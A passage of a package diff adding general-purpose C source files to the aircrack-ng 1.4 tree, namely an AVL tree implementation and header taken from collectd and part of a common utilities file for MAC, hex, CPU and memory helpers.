+	} /* while (n != NULL) */
+} /* void rebalance */
+
+static c_avl_node_t * c_avl_node_next(c_avl_node_t * n)
+{
+	c_avl_node_t * r; /* return node */
+
+	if (n == NULL)
+	{
+		return NULL;
+	}
+
+	/* If we can't descent any further, we have to backtrack to the first
+	 * parent that's bigger than we, i. e. who's _left_ child we are. */
+	if (n->right == NULL)
+	{
+		r = n->parent;
+		while ((r != NULL) && (r->parent != NULL))
+		{
+			if (r->left == n) break;
+			n = r;
+			r = n->parent;
+		}
+
+		/* n->right == NULL && r == NULL => t is root and has no next
+		 * r->left != n => r->right = n => r->parent == NULL */
+		if ((r == NULL) || (r->left != n))
+		{
+			assert((r == NULL) || (r->parent == NULL));
+			return NULL;
+		}
+		else
+		{
+			assert(r->left == n);
+			return r;
+		}
+	}
+	else
+	{
+		r = n->right;
+		while (r->left != NULL) r = r->left;
+	}
+
+	return r;
+} /* c_avl_node_t *c_avl_node_next */
+
+static c_avl_node_t * c_avl_node_prev(c_avl_node_t * n)
+{
+	c_avl_node_t * r; /* return node */
+
+	if (n == NULL)
+	{
+		return NULL;
+	}
+
+	/* If we can't descent any further, we have to backtrack to the first
+	 * parent that's smaller than we, i. e. who's _right_ child we are. */
+	if (n->left == NULL)
+	{
+		r = n->parent;
+		while ((r != NULL) && (r->parent != NULL))
+		{
+			if (r->right == n) break;
+			n = r;
+			r = n->parent;
+		}
+
+		/* n->left == NULL && r == NULL => t is root and has no next
+		 * r->right != n => r->left = n => r->parent == NULL */
+		if ((r == NULL) || (r->right != n))
+		{
+			assert((r == NULL) || (r->parent == NULL));
+			return NULL;
+		}
+		else
+		{
+			assert(r->right == n);
+			return r;
+		}
+	}
+	else
+	{
+		r = n->left;
+		while (r->right != NULL) r = r->right;
+	}
+
+	return r;
+} /* c_avl_node_t *c_avl_node_prev */
+
+static int _remove(c_avl_tree_t * t, c_avl_node_t * n)
+{
+	assert((t != NULL) && (n != NULL));
+
+	if ((n->left != NULL) && (n->right != NULL))
+	{
+		c_avl_node_t * r; /* replacement node */
+		if (BALANCE(n) > 0) /* left subtree is higher */
+		{
+			assert(n->left != NULL);
+			r = c_avl_node_prev(n);
+		}
+		else /* right subtree is higher */
+		{
+			assert(n->right != NULL);
+			r = c_avl_node_next(n);
+		}
+
+		assert((r->left == NULL) || (r->right == NULL));
+
+		/* copy content */
+		n->key = r->key;
+		n->value = r->value;
+
+		n = r;
+	}
+
+	assert((n->left == NULL) || (n->right == NULL));
+
+	if ((n->left == NULL) && (n->right == NULL))
+	{
+		/* Deleting a leave is easy */
+		if (n->parent == NULL)
+		{
+			assert(t->root == n);
+			t->root = NULL;
+		}
+		else
+		{
+			assert((n->parent->left == n) || (n->parent->right == n));
+			if (n->parent->left == n)
+				n->parent->left = NULL;
+			else
+				n->parent->right = NULL;
+
+			rebalance(t, n->parent);
+		}
+
+		free_node(n);
+	}
+	else if (n->left == NULL)
+	{
+		assert(BALANCE(n) == -1);
+		assert((n->parent == NULL) || (n->parent->left == n)
+			   || (n->parent->right == n));
+		if (n->parent == NULL)
+		{
+			assert(t->root == n);
+			t->root = n->right;
+		}
+		else if (n->parent->left == n)
+		{
+			n->parent->left = n->right;
+		}
+		else
+		{
+			n->parent->right = n->right;
+		}
+		n->right->parent = n->parent;
+
+		if (n->parent != NULL) rebalance(t, n->parent);
+
+		n->right = NULL;
+		free_node(n);
+	}
+	else if (n->right == NULL)
+	{
+		assert(BALANCE(n) == 1);
+		assert((n->parent == NULL) || (n->parent->left == n)
+			   || (n->parent->right == n));
+		if (n->parent == NULL)
+		{
+			assert(t->root == n);
+			t->root = n->left;
+		}
+		else if (n->parent->left == n)
+		{
+			n->parent->left = n->left;
+		}
+		else
+		{
+			n->parent->right = n->left;
+		}
+		n->left->parent = n->parent;
+
+		if (n->parent != NULL) rebalance(t, n->parent);
+
+		n->left = NULL;
+		free_node(n);
+	}
+	else
+	{
+		assert(0);
+	}
+
+	return 0;
+} /* void *_remove */
+
+/*
+ * public functions
+ */
+c_avl_tree_t * c_avl_create(int (*compare)(const void *, const void *))
+{
+	c_avl_tree_t * t;
+
+	if (compare == NULL) return NULL;
+
+	if ((t = malloc(sizeof(*t))) == NULL) return NULL;
+
+	t->root = NULL;
+	t->compare = compare;
+	t->size = 0;
+
+	return t;
+}
+
+void c_avl_destroy(c_avl_tree_t * t)
+{
+	if (t == NULL) return;
+	free_node(t->root);
+	free(t);
+}
+
+int c_avl_insert(c_avl_tree_t * t, void * key, void * value)
+{
+	c_avl_node_t * new;
+	c_avl_node_t * nptr;
+	int cmp;
+
+	if ((new = malloc(sizeof(*new))) == NULL) return -1;
+
+	new->key = key;
+	new->value = value;
+	new->height = 1;
+	new->left = NULL;
+	new->right = NULL;
+
+	if (t->root == NULL)
+	{
+		new->parent = NULL;
+		t->root = new;
+		t->size = 1;
+		return 0;
+	}
+
+	nptr = t->root;
+	while (42)
+	{
+		cmp = t->compare(nptr->key, new->key);
+		if (cmp == 0)
+		{
+			free_node(new);
+			return 1;
+		}
+		else if (cmp < 0)
+		{
+			/* nptr < new */
+			if (nptr->right == NULL)
+			{
+				nptr->right = new;
+				new->parent = nptr;
+				rebalance(t, nptr);
+				break;
+			}
+			else
+			{
+				nptr = nptr->right;
+			}
+		}
+		else /* if (cmp > 0) */
+		{
+			/* nptr > new */
+			if (nptr->left == NULL)
+			{
+				nptr->left = new;
+				new->parent = nptr;
+				rebalance(t, nptr);
+				break;
+			}
+			else
+			{
+				nptr = nptr->left;
+			}
+		}
+	} /* while (42) */
+
+	verify_tree(t->root);
+	++t->size;
+	return 0;
+} /* int c_avl_insert */
+
+int c_avl_remove(c_avl_tree_t * t,
+				 const void * key,
+				 void ** rkey,
+				 void ** rvalue)
+{
+	c_avl_node_t * n;
+	int status;
+
+	assert(t != NULL);
+
+	n = search(t, key);
+	if (n == NULL) return -1;
+
+	if (rkey != NULL) *rkey = n->key;
+	if (rvalue != NULL) *rvalue = n->value;
+
+	status = _remove(t, n);
+	verify_tree(t->root);
+	--t->size;
+	return status;
+} /* void *c_avl_remove */
+
+int c_avl_get(c_avl_tree_t * t, const void * key, void ** value)
+{
+	c_avl_node_t * n;
+
+	assert(t != NULL);
+
+	n = search(t, key);
+	if (n == NULL) return -1;
+
+	if (value != NULL) *value = n->value;
+
+	return 0;
+}
+
+int c_avl_pick(c_avl_tree_t * t, void ** key, void ** value)
+{
+	c_avl_node_t * n;
+	c_avl_node_t * p;
+
+	assert(t != NULL);
+
+	if ((key == NULL) || (value == NULL)) return -1;
+	if (t->root == NULL) return -1;
+
+	n = t->root;
+	while ((n->left != NULL) || (n->right != NULL))
+	{
+		if (n->left == NULL)
+		{
+			n = n->right;
+			continue;
+		}
+		else if (n->right == NULL)
+		{
+			n = n->left;
+			continue;
+		}
+
+		if (n->left->height > n->right->height)
+			n = n->left;
+		else
+			n = n->right;
+	}
+
+	p = n->parent;
+	if (p == NULL)
+		t->root = NULL;
+	else if (p->left == n)
+		p->left = NULL;
+	else
+		p->right = NULL;
+
+	*key = n->key;
+	*value = n->value;
+
+	free_node(n);
+	--t->size;
+	rebalance(t, p);
+
+	return 0;
+} /* int c_avl_pick */
+
+c_avl_iterator_t * c_avl_get_iterator(c_avl_tree_t * t)
+{
+	c_avl_iterator_t * iter;
+
+	if (t == NULL) return NULL;
+
+	iter = calloc(1, sizeof(*iter));
+	if (iter == NULL) return NULL;
+	iter->tree = t;
+
+	return iter;
+} /* c_avl_iterator_t *c_avl_get_iterator */
+
+int c_avl_iterator_next(c_avl_iterator_t * iter, void ** key, void ** value)
+{
+	c_avl_node_t * n;
+
+	if ((iter == NULL) || (key == NULL) || (value == NULL)) return -1;
+
+	if (iter->node == NULL)
+	{
+		for (n = iter->tree->root; n != NULL; n = n->left)
+			if (n->left == NULL) break;
+		iter->node = n;
+	}
+	else
+	{
+		n = c_avl_node_next(iter->node);
+	}
+
+	if (n == NULL) return -1;
+
+	iter->node = n;
+	*key = n->key;
+	*value = n->value;
+
+	return 0;
+} /* int c_avl_iterator_next */
+
+int c_avl_iterator_prev(c_avl_iterator_t * iter, void ** key, void ** value)
+{
+	c_avl_node_t * n;
+
+	if ((iter == NULL) || (key == NULL) || (value == NULL)) return -1;
+
+	if (iter->node == NULL)
+	{
+		for (n = iter->tree->root; n != NULL; n = n->left)
+			if (n->right == NULL) break;
+		iter->node = n;
+	}
+	else
+	{
+		n = c_avl_node_prev(iter->node);
+	}
+
+	if (n == NULL) return -1;
+
+	iter->node = n;
+	*key = n->key;
+	*value = n->value;
+
+	return 0;
+} /* int c_avl_iterator_prev */
+
+void c_avl_iterator_destroy(c_avl_iterator_t * iter) { free(iter); }
+
+int c_avl_size(c_avl_tree_t * t)
+{
+	if (t == NULL) return 0;
+	return t->size;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/avl_tree.h Added

@@ -0,0 +1,172 @@
+/**
+ * collectd - src/utils_avltree.h
+ * Copyright (C) 2006,2007  Florian octo Forster
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ *
+ * Authors:
+ *   Florian octo Forster <octo at collectd.org>
+ **/
+
+#ifndef UTILS_AVLTREE_H
+#define UTILS_AVLTREE_H 1
+
+struct c_avl_tree_s;
+typedef struct c_avl_tree_s c_avl_tree_t;
+
+struct c_avl_iterator_s;
+typedef struct c_avl_iterator_s c_avl_iterator_t;
+
+/*
+ * NAME
+ *   c_avl_create
+ *
+ * DESCRIPTION
+ *   Allocates a new AVL-tree.
+ *
+ * PARAMETERS
+ *   `compare'  The function-pointer `compare' is used to compare two keys. It
+ *              has to return less than zero if its first argument is smaller
+ *              then the second argument, more than zero if the first argument
+ *              is bigger than the second argument and zero if they are equal.
+ *              If your keys are char-pointers, you can use the `strcmp'
+ *              function from the libc here.
+ *
+ * RETURN VALUE
+ *   A c_avl_tree_t-pointer upon success or NULL upon failure.
+ */
+c_avl_tree_t * c_avl_create(int (*compare)(const void *, const void *));
+
+/*
+ * NAME
+ *   c_avl_destroy
+ *
+ * DESCRIPTION
+ *   Deallocates an AVL-tree. Stored value- and key-pointer are lost, but of
+ *   course not freed.
+ */
+void c_avl_destroy(c_avl_tree_t * t);
+
+/*
+ * NAME
+ *   c_avl_insert
+ *
+ * DESCRIPTION
+ *   Stores the key-value-pair in the AVL-tree pointed to by `t'.
+ *
+ * PARAMETERS
+ *   `t'        AVL-tree to store the data in.
+ *   `key'      Key used to store the value under. This is used to get back to
+ *              the value again. The pointer is stored in an internal structure
+ *              and _not_ copied. So the memory pointed to may _not_ be freed
+ *              before this entry is removed. You can use the `rkey' argument
+ *              to `avl_remove' to get the original pointer back and free it.
+ *   `value'    Value to be stored.
+ *
+ * RETURN VALUE
+ *   Zero upon success, non-zero otherwise. It's less than zero if an error
+ *   occurred or greater than zero if the key is already stored in the tree.
+ */
+int c_avl_insert(c_avl_tree_t * t, void * key, void * value);
+
+/*
+ * NAME
+ *   c_avl_remove
+ *
+ * DESCRIPTION
+ *   Removes a key-value-pair from the tree t. The stored key and value may be
+ *   returned in `rkey' and `rvalue'.
+ *
+ * PARAMETERS
+ *   `t'	AVL-tree to remove key-value-pair from.
+ *   `key'      Key to identify the entry.
+ *   `rkey'     Pointer to a pointer in which to store the key. May be NULL.
+ *              Since the `key' pointer is not copied when creating an entry,
+ *              the pointer may not be available anymore from outside the tree.
+ *              You can use this argument to get the actual pointer back and
+ *              free the memory pointed to by it.
+ *   `rvalue'   Pointer to a pointer in which to store the value. May be NULL.
+ *
+ * RETURN VALUE
+ *   Zero upon success or non-zero if the key isn't found in the tree.
+ */
+int c_avl_remove(c_avl_tree_t * t,
+				 const void * key,
+				 void ** rkey,
+				 void ** rvalue);
+
+/*
+ * NAME
+ *   c_avl_get
+ *
+ * DESCRIPTION
+ *   Retrieve the `value' belonging to `key'.
+ *
+ * PARAMETERS
+ *   `t'	AVL-tree to get the value from.
+ *   `key'      Key to identify the entry.
+ *   `value'    Pointer to a pointer in which to store the value. May be NULL.
+ *
+ * RETURN VALUE
+ *   Zero upon success or non-zero if the key isn't found in the tree.
+ */
+int c_avl_get(c_avl_tree_t * t, const void * key, void ** value);
+
+/*
+ * NAME
+ *   c_avl_pick
+ *
+ * DESCRIPTION
+ *   Remove a (pseudo-)random element from the tree and return its `key' and
+ *   `value'. Entries are not returned in any particular order. This function
+ *   is intended for cache-flushes that don't care about the order but simply
+ *   want to remove all elements, one at a time.
+ *
+ * PARAMETERS
+ *   `t'	AVL-tree to get the value from.
+ *   `key'      Pointer to a pointer in which to store the key.
+ *   `value'    Pointer to a pointer in which to store the value.
+ *
+ * RETURN VALUE
+ *   Zero upon success or non-zero if the tree is empty or key or value is
+ *   NULL.
+ */
+int c_avl_pick(c_avl_tree_t * t, void ** key, void ** value);
+
+c_avl_iterator_t * c_avl_get_iterator(c_avl_tree_t * t);
+int c_avl_iterator_next(c_avl_iterator_t * iter, void ** key, void ** value);
+int c_avl_iterator_prev(c_avl_iterator_t * iter, void ** key, void ** value);
+void c_avl_iterator_destroy(c_avl_iterator_t * iter);
+
+/*
+ * NAME
+ *   c_avl_size
+ *
+ * DESCRIPTION
+ *   Return the size (number of nodes) of the specified tree.
+ *
+ * PARAMETERS
+ *   `t'        AVL-tree to get the size of.
+ *
+ * RETURN VALUE
+ *   Number of nodes in the tree, 0 if the tree is empty or NULL.
+ */
+int c_avl_size(c_avl_tree_t * t);
+
+#endif /* UTILS_AVLTREE_H */

aircrack-ng-1.4.tar.gz/src/aircrack-util/common.c Added

@@ -0,0 +1,710 @@
+/*
+ *  Common functions for all aircrack-ng tools
+ *
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <dirent.h>
+#include <unistd.h>
+#include <ctype.h>
+#include <limits.h>
+#include <errno.h>
+#include <assert.h>
+
+#if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__DragonFly__)
+#include <sys/sysctl.h>
+#include <sys/user.h>
+#endif
+#if (defined(_WIN32) || defined(_WIN64)) || defined(__CYGWIN32__)
+#include <io.h>
+#include <windows.h>
+#include <errno.h>
+#endif
+#define isHex(c) (hexToInt(c) != -1)
+#define HEX_BASE 16
+
+/*
+ * The following function comes from jumbo.c from JTR.
+ * It has the following license:
+ *
+ * This file is Copyright (c) 2013-2014 magnum, Lukasz and JimF,
+ * and is hereby released to the general public under the
+following terms:
+ * Redistribution and use in source and binary forms, with or
+without
+ * modifications, are permitted.
+*/
+#if defined(__CYGWIN32__) && !defined(__CYGWIN64__)
+int fseeko64(FILE * fp, int64_t offset, int whence)
+{
+	fpos_t pos;
+
+	if (whence == SEEK_CUR)
+	{
+		if (fgetpos(fp, &pos)) return (-1);
+
+		pos += (fpos_t) offset;
+	}
+	else if (whence == SEEK_END)
+	{
+		/* If writing, we need to flush before getting file length. */
+		long long size;
+
+		fflush(fp);
+		size = 0;
+
+		GetFileSizeEx((HANDLE) _get_osfhandle(fileno(fp)),
+					  (PLARGE_INTEGER) &size);
+		pos = (fpos_t)(size + offset);
+	}
+	else if (whence == SEEK_SET)
+		pos = (fpos_t) offset;
+	else
+	{
+		errno = EINVAL;
+		return (-1);
+	}
+
+	return fsetpos(fp, &pos);
+}
+
+int64_t ftello64(FILE * fp)
+{
+	fpos_t pos;
+
+	if (fgetpos(fp, &pos)) return -1LL;
+
+	return (int64_t) pos;
+}
+#endif
+
+const unsigned char ZERO[33] = "\x00\x00\x00\x00\x00\x00\x00\x00"
+							   "\x00\x00\x00\x00\x00\x00\x00\x00"
+							   "\x00\x00\x00\x00\x00\x00\x00\x00"
+							   "\x00\x00\x00\x00\x00\x00\x00\x00";
+
+/*
+ * Print the time and percentage in readable format
+ */
+void calctime(time_t t, float perc)
+{
+	int days = 0, hours = 0, mins = 0, secs = 0, remain = 0, printed = 0;
+	char buf[8];
+
+	days = t / 86400;
+	remain = t % 86400;
+
+	hours = remain / 3600;
+	remain = remain % 3600;
+
+	mins = remain / 60;
+	secs = remain % 60;
+
+	if (days) printed += printf("%d day%s, ", days, (days > 1 ? "s" : ""));
+
+	if (hours) printed += printf("%d hour%s, ", hours, (hours > 1 ? "s" : ""));
+
+	if (mins) printed += printf("%d minute%s, ", mins, (mins > 1 ? "s" : ""));
+
+	snprintf(buf, sizeof(buf), "%3.2f%%", perc);
+
+	printed += printf("%d second%s", secs, (secs != 1 ? "s" : ""));
+
+	printf("%*s %s\n", (int) (47 - (printed + strlen(buf) % 5)), " ", buf);
+}
+
+int is_string_number(const char * str)
+{
+	int i;
+	if (str == NULL)
+	{
+		return 0;
+	}
+
+	if (*str != '-' && !(isdigit((int) (*str))))
+	{
+		return 0;
+	}
+
+	for (i = 1; str[i] != 0; i++)
+	{
+		if (!isdigit((int) (str[i])))
+		{
+			return 0;
+		}
+	}
+
+	return 1;
+}
+
+int get_ram_size(void)
+{
+	int ret = -1;
+#if defined(__FreeBSD__)
+	int mib[] = {CTL_HW, HW_PHYSMEM};
+	size_t len;
+	unsigned long physmem;
+
+	len = sizeof(physmem);
+
+	if (!sysctl(mib, 2, &physmem, &len, NULL, 0))
+		ret = (physmem / 1024); // Linux returns memory size in kB, so we want
+// to as well.
+#elif defined(_WIN32) || defined(_WIN64)
+	MEMORYSTATUSEX statex;
+	statex.dwLength = sizeof(statex);
+
+	if (GlobalMemoryStatusEx(&statex))
+	{
+		ret = (int) (statex.ullTotalPhys / 1024);
+	}
+#else
+	FILE * fp;
+	char str[100 + 1];
+	int val = 0;
+
+	if (!(fp = fopen("/proc/meminfo", "r")))
+	{
+		perror("fopen fails on /proc/meminfo");
+		return ret;
+	}
+
+	memset(str, 0x00, sizeof(str));
+	while (ret == -1 && !feof(fp) && fscanf(fp, "%100s %d", str, &val) != 0)
+	{
+		if (!(strncmp(str, "MemTotal", 8)))
+		{
+			ret = val;
+		}
+	}
+
+	fclose(fp);
+#endif
+	return ret;
+}
+
+/* Return the version number */
+char * getVersion(const char * progname,
+				  const unsigned int maj,
+				  const unsigned int min,
+				  const unsigned int submin,
+				  const char * rev,
+				  const unsigned int beta,
+				  const unsigned int rc)
+{
+	if (progname == NULL || progname[0] == 0)
+	{
+		fprintf(stderr, "Invalid program name, cannot be NULL or empty\n");
+		exit(1);
+	}
+	if (rc != 0 && beta != 0)
+	{
+		fprintf(stderr, "RC and beta cannot be both used\n");
+		exit(1);
+	}
+
+	// Calculate and allocate buffer
+	size_t len = 100 + strlen(progname);
+	if (rev)
+	{
+		len += strlen(rev);
+	}
+	char * ret = (char *) calloc(1, len);
+	if (ret == NULL)
+	{
+		perror("calloc()");
+		exit(1);
+	}
+
+	// Major, minor version
+	snprintf(ret, len, "%s %u.%u", progname, maj, min);
+
+	// Sub-minor
+	if (submin > 0)
+	{
+		snprintf(ret + strlen(ret), len - strlen(ret), ".%u", submin);
+	}
+
+	// Release candidate ...
+	if (rc > 0)
+	{
+		snprintf(ret + strlen(ret), len - strlen(ret), " rc%u", rc);
+	}
+	else if (beta > 0)
+	{ // ... Or beta
+		snprintf(ret + strlen(ret), len - strlen(ret), " beta%u", beta);
+	}
+
+	// Add revision if it comes from subversion or git
+	if (rev)
+	{
+		char * tmp = strdup(rev);
+
+		char * sep = strstr(tmp, "_");
+		if (sep)
+		{
+			++sep;
+		}
+		else
+		{
+			sep = "";
+		}
+
+		char * search = strstr(sep, "rev-");
+		if (search)
+		{
+			search[3] = ' ';
+		}
+
+		snprintf(
+			ret + strlen(ret), len - strlen(ret), " %s", search ? search : sep);
+		free(tmp);
+	}
+
+	// Shorten buffer if possible
+	char * r_ret = realloc(ret, strlen(ret) + 1);
+	return (r_ret) ? r_ret : ret;
+}
+
+// Return the number of cpu. If detection fails, it will return -1;
+int get_nb_cpus(void)
+{
+	int number = -1;
+
+#if defined(_WIN32) || defined(_WIN64)
+	SYSTEM_INFO sysinfo = {0};
+
+	GetSystemInfo(&sysinfo);
+
+	number = sysinfo.dwNumberOfProcessors;
+#elif defined(__linux__)
+	char *s, *pos;
+	FILE * f;
+	// Reading /proc/cpuinfo is more reliable on current CPUs,
+	// so put it first and try the old method if this one fails
+	f = fopen("/proc/cpuinfo", "r");
+
+	if (f != NULL)
+	{
+		s = (char *) calloc(1, 81);
+
+		if (s != NULL)
+		{
+			// Get the latest value of "processor" element
+			// and increment it by 1 and it that value
+			// will be the number of CPU.
+			number = -2;
+
+			while (fgets(s, 80, f) != NULL)
+			{
+				pos = strstr(s, "processor");
+
+				if (pos == s)
+				{
+					pos = strchr(s, ':');
+					number = atoi(pos + 1);
+				}
+			}
+
+			++number;
+			free(s);
+		}
+
+		fclose(f);
+	}
+#elif defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__DragonFly__)
+	// Not sure about defined(__DragonFly__) || defined(__NetBSD__) ||
+	// defined(__OpenBSD__) || defined(__APPLE__)
+	int mib[] = {CTL_HW, HW_NCPU};
+	size_t len;
+	unsigned long nbcpu;
+
+	len = sizeof(nbcpu);
+
+	if (!sysctl(mib, 2, &nbcpu, &len, NULL, 0))
+	{
+		number = (int) nbcpu;
+	}
+#endif
+
+#ifdef _SC_NPROCESSORS_ONLN
+	// Try the usual method if _SC_NPROCESSORS_ONLN exist
+	if (number == -1)
+	{
+		number = sysconf(_SC_NPROCESSORS_ONLN);
+		/* Fails on some archs */
+		if (number < 1)
+		{
+			number = -1;
+		}
+	}
+#endif
+
+	return number;
+}
+
+// compares two MACs
+int maccmp(unsigned char * mac1, unsigned char * mac2)
+{
+	int i = 0;
+
+	if (mac1 == NULL || mac2 == NULL) return -1;
+
+	for (i = 0; i < 6; i++)
+	{
+		if (toupper(mac1[i]) != toupper(mac2[i])) return -1;
+	}
+	return 0;
+}
+
+// Converts a mac address in a human-readable format
+char * mac2string(unsigned char * mac_address)
+{
+	char * mac_string = (char *) malloc(sizeof(char) * 18);
+	snprintf(mac_string,
+			 18,
+			 "%02X:%02X:%02X:%02X:%02X:%02X",
+			 *mac_address,
+			 *(mac_address + 1),
+			 *(mac_address + 2),
+			 *(mac_address + 3),
+			 *(mac_address + 4),
+			 *(mac_address + 5));
+	return mac_string;
+}
+
+/* Return -1 if it's not an hex value and return its value when it's a hex value
+ */
+int hexCharToInt(unsigned char c)
+{
+	static int table_created = 0;
+	static int table[256];
+
+	int i;
+
+	if (table_created == 0)
+	{
+		/*
+		 * It may seem a bit long to calculate the table
+		 * but character position depend on the charset used
+		 * Example: EBCDIC
+		 * but it's only done once and then conversion will be really fast
+		 */
+		for (i = 0; i < 256; i++)
+		{
+
+			switch ((unsigned char) i)
+			{
+				case '0':
+					table[i] = 0;
+					break;
+				case '1':
+					table[i] = 1;
+					break;
+				case '2':
+					table[i] = 2;
+					break;
+				case '3':
+					table[i] = 3;
+					break;
+				case '4':
+					table[i] = 4;
+					break;
+				case '5':
+					table[i] = 5;
+					break;
+				case '6':
+					table[i] = 6;
+					break;
+				case '7':
+					table[i] = 7;
+					break;
+				case '8':
+					table[i] = 8;
+					break;
+				case '9':
+					table[i] = 9;
+					break;
+				case 'A':
+				case 'a':
+					table[i] = 10;
+					break;
+				case 'B':
+				case 'b':
+					table[i] = 11;
+					break;
+				case 'C':
+				case 'c':
+					table[i] = 12;
+					break;
+				case 'D':
+				case 'd':
+					table[i] = 13;
+					break;
+				case 'E':
+				case 'e':
+					table[i] = 14;
+					break;
+				case 'F':
+				case 'f':
+					table[i] = 15;
+					break;
+				default:
+					table[i] = -1;
+			}
+		}
+
+		table_created = 1;
+	}
+
+	return table[c];
+}
+
+// in: input string
+// in_length: length of the string
+// out: output string (needs to be already allocated).
+// out_length: length of the array
+// returns amount of bytes saved to 'out' or -1 if an error happened
+int hexStringToArray(char * in,
+					 int in_length,
+					 unsigned char * out,
+					 int out_length)
+{
+	int i, out_pos;
+	int chars[2];
+
+	char * input = in;
+	unsigned char * output = out;
+
+	if (in_length < 2 || out_length < (in_length / 3) + 1 || input == NULL
+		|| output == NULL)
+		return -1;
+
+	out_pos = 0;
+	for (i = 0; i < in_length - 1; ++i)
+	{
+		if (input[i] == '-' || input[i] == ':' || input[i] == '_'
+			|| input[i] == ' '
+			|| input[i] == '.')
+		{
+			continue;
+		}
+		// Check output array is big enough
+		if (out_pos >= out_length)
+		{
+			return -1;
+		}
+		chars[0] = hexCharToInt(input[i]);
+		// If first char is invalid (or '\0'), don't bother continuing (and you
+		// really shouldn't).
+		if (chars[0] < 0 || chars[0] > 15) return -1;
+
+		chars[1] = hexCharToInt(input[++i]);
+		// It should always be a multiple of 2 hex characters with or without
+		// separator
+		if (chars[1] < 0 || chars[1] > 15) return -1;
+		output[out_pos++] = ((chars[0] << 4) + chars[1]) & 0xFF;
+	}
+	return out_pos;
+}
+
+// Return the mac address bytes (or null if it's not a mac address)
+int getmac(const char * macAddress, const int strict, unsigned char * mac)
+{
+	char byte[3];
+	int i, nbElem, n;
+
+	if (macAddress == NULL) return 1;
+
+	/* Minimum length */
+	if ((int) strlen(macAddress) < 12) return 1;
+
+	memset(mac, 0, 6);
+	byte[2] = 0;
+	i = nbElem = 0;
+
+	while (macAddress[i] != 0)
+	{
+		if (macAddress[i] == '\n' || macAddress[i] == '\r') break;
+
+		byte[0] = macAddress[i];
+		byte[1] = macAddress[i + 1];
+
+		if (sscanf(byte, "%x", &n) != 1 && strlen(byte) == 2) return 1;
+
+		if (hexCharToInt(byte[1]) < 0) return 1;
+
+		mac[nbElem] = n;
+
+		i += 2;
+		nbElem++;
+
+		if (macAddress[i] == ':' || macAddress[i] == '-'
+			|| macAddress[i] == '_')
+			i++;
+	}
+
+	if ((strict && nbElem != 6) || (!strict && nbElem > 6)) return 1;
+
+	return 0;
+}
+
+// Read a line of characters inputted by the user
+int readLine(char line[], int maxlength)
+{
+	int c;
+	int i = -1;
+
+	do
+	{
+		// Read char
+		c = getchar();
+
+		if (c == EOF) c = '\0';
+
+		line[++i] = (char) c;
+
+		if (line[i] == '\n') break;
+		if (line[i] == '\r') break;
+		if (line[i] == '\0') break;
+	} while (i + 1 < maxlength);
+	// Stop at 'Enter' key pressed or EOF or max number of char read
+
+	// Return current size
+	return i;
+}
+
+int hexToInt(char s[], int len)
+{
+	int i = 0;
+	int convert = -1;
+	int value = 0;
+
+	// Remove leading 0 (and also the second char that can be x or X)
+
+	while (i < len)
+	{
+		if (s[i] != '0' || (i == 1 && toupper((int) s[i]) != 'X')) break;
+
+		++i;
+	}
+
+	// Convert to hex
+
+	while (i < len)
+	{
+		convert = hexCharToInt((unsigned char) s[i]);
+
+		// If conversion failed, return -1
+		if (convert == -1) return -1;
+
+		value = (value * HEX_BASE) + convert;
+
+		++i;
+	}
+
+	return value;
+}
+
+void rtrim(char * line)
+{
+	if (line && strlen(line) > 0)
+	{
+		if (line[strlen(line) - 1] == '\n') line[strlen(line) - 1] = 0;
+		if (line[strlen(line) - 1] == '\r') line[strlen(line) - 1] = 0;
+	}
+}
+
+char * get_current_working_directory(void)
+{
+	char * ret = NULL;
+	char * wd_realloc = NULL;
+	size_t wd_size = 0;
+
+	do
+	{
+		wd_size += PATH_MAX;
+		char * wd_realloc = (char *) realloc(ret, wd_size);
+		if (wd_realloc == NULL)
+		{
+			if (ret) free(ret);
+			return NULL;
+		}
+		ret = wd_realloc;
+		wd_realloc = getcwd(ret, wd_size);
+		if (wd_realloc == NULL && errno != ERANGE)
+		{
+			if (ret) free(ret);
+			return NULL;
+		}
+	} while (wd_realloc == NULL && errno == ERANGE);
+
+	return ret;
+}
+
+int string_has_suffix(const char * str, const char * suf)
+{
+	assert(str && suf);
+
